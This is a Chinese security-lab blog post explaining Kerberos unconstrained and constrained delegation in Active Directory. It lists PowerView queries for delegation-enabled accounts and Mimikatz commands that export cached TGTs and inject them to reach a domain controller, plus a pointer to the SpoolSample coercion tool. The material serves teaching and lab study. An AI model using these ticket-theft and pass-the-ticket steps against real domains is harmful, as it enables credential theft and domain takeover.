前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kerberos之委派学习(上)

Kerberos之委派学习(上)

作者头像
Ms08067安全实验室
发布2021-07-16 15:50:38
4970
发布2021-07-16 15:50:38
举报

本文作者:time(Ms08067内网安全小组成员)

委派

A 使用 kerberos 身份访问验证服务 B,B 利用 A 的身份去访问服务器 C,此过程就是委派。

例如:user访问http服务,而http需要访问其他主机的 SQL server 数据库,但不知道user是否有权限访问sqlserver,此时HTTP会利用user的身份去访问sqlserver,如果有权限访问sqlserver,才会访问成功。

非约束委派(Unconstraineddelegation)user 从KDC 获得TGT发送访问的server1,server1拿到TGT之后可以通过TGT访问任意其他服务的过程被称为非约束委派

约束委派

加入了S5U2Self和S4U2Proxy的kerberos协议扩展 S5U2Self:让服务代表用户身份向 KDC 验证用户的合法性,并获得ST1S4U2Proxy:让服务代表用户身份通过 ST1重新获取ST2,并不允许服务以用户的身份访问其他的服务。不会让user的TGT直接发送给服务,对服务认证信息做了限制。

1. 用户向 Service1 发送请求。

2. 这时在官方文档中的介绍是在这一流程开始之前 Service1 已经通过 KRB_AS_REQ 得到了用户用来访问 Service1 的 TGT,然后通过 S4U2self 扩展模拟 用户向 KDC 请求 ST。

3. KDC 这时返回给 Service1 一个用于用户验证 Service1 的 ST(我们称为 ST1), 并且 Service1 用这个ST1完成和用户的验证过程。

4. Service1 在步骤 3 使用模拟用户申请的 ST1 完成与用户的验证,然后响应用户。注:这个过程中其实 Service1 是获得了用户的TGT和ST1的,但是S4U2Self扩展不允许Service1代表用户去请求其他的服务。

5. 用户再次向Service1发起请求,此时Service1需要以用户的身份访问Service2。这里官方文档提到了两个点:

A.Service1已经验证通过,并且有一个有效的TGT。

B.Service1有从用户到Service1的forwardableST(可转发 ST)。个人认为这里的forwardable ST其实也就是ST1。

6. Service1代表用户向Service2请求一个用于认证Service2的ST(我们称为 ST2)。用户在ST1中通过cname(client name)和crealm(client realm)字段标识。

7. KDC 在接收到步骤6中Service1的请求之后,会验证PAC(特权属性证书,在第一篇中有说明)的数字签名。如果验证成功或者这个请求没有PAC(不能验证失败),KDC将返回 ST2给Service1,不过这个ST2中cname和crealm标识的是用户而不是Service1。

8. Service1代表用户使用ST2请求Service2。Service2判断这个请求来自已经通过KDC验证的用户。

9. Service2 响应 Service1的请求。

10. Service1响应用户的请求。

域内发现委派用户

非约束委派

通过 Import-ModulePowerView.ps1 加载 PowerView 脚本之后使用下面的命令进行查询。

Get-NetUser -Unconstrained -Domainyunying.lab

非约束委派主机

Get-NetComputer -Unconstrained -Domainyunying.lab

约束委派

查询域中配置约束委派的账户:

Get-DomainUser –TrustedToAuth -Propertiesdistinguishedname,useraccountcontrol,msds-allowedtodelegat eto| f1

查看设置了约束委派的用户:

Get-DomainUser -TrustedToAuth-Domainyunying.lab

约束委派主机

Get-DomainComputer -TrustedToAuth --Domainyunying.lab

非约束委派利用 域内只有服务账户才可以委派功能,设置用户为服务账户

setspn -U -Avariant/golden 用户

setspn -l 用户

当任意用户来访问时服务时,会缓存任意用户的 TGT,然后可以利用该 TGT访问任意

提取缓存 TGT privilege::debug sekurlsa::tickets /export 将票据 TGT 注入当前会话 kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi #(票据名)

kerberos::list 访问任意域机器 dir \\name\$c #不能使用 ip

Enter-PSSession -ComputerName WIN-QFPHJSM1L7G

实验环境搭建

域控:172.168.1.1 administrator ‘

win7:172.168.1.2 testuse

设置非委派

实验开始

当有任意机器向非委派主机发出申请时

会留下该用户 TGT 缓存

加载票据进入内存

成功访问(必须是 system 权限)

也可以用 Enter-PSSession -ComputerName DC 远程控制,是powershell控制台

这 里 有 一 个 点 就 是 sekurlsa::tickets 是 查 看 内 存 中 所 有 的 票 据 , 而 kerberos::list 只是查看当前会话中的 kerberos 票据。

利用 pooler 打印机服务 ,强制域控向其该服务器认证获得 TGT

https://github.com/leechristensen/SpoolSample

参考链接:

https://www.freebuf.com/articles/network/198381.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-07-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档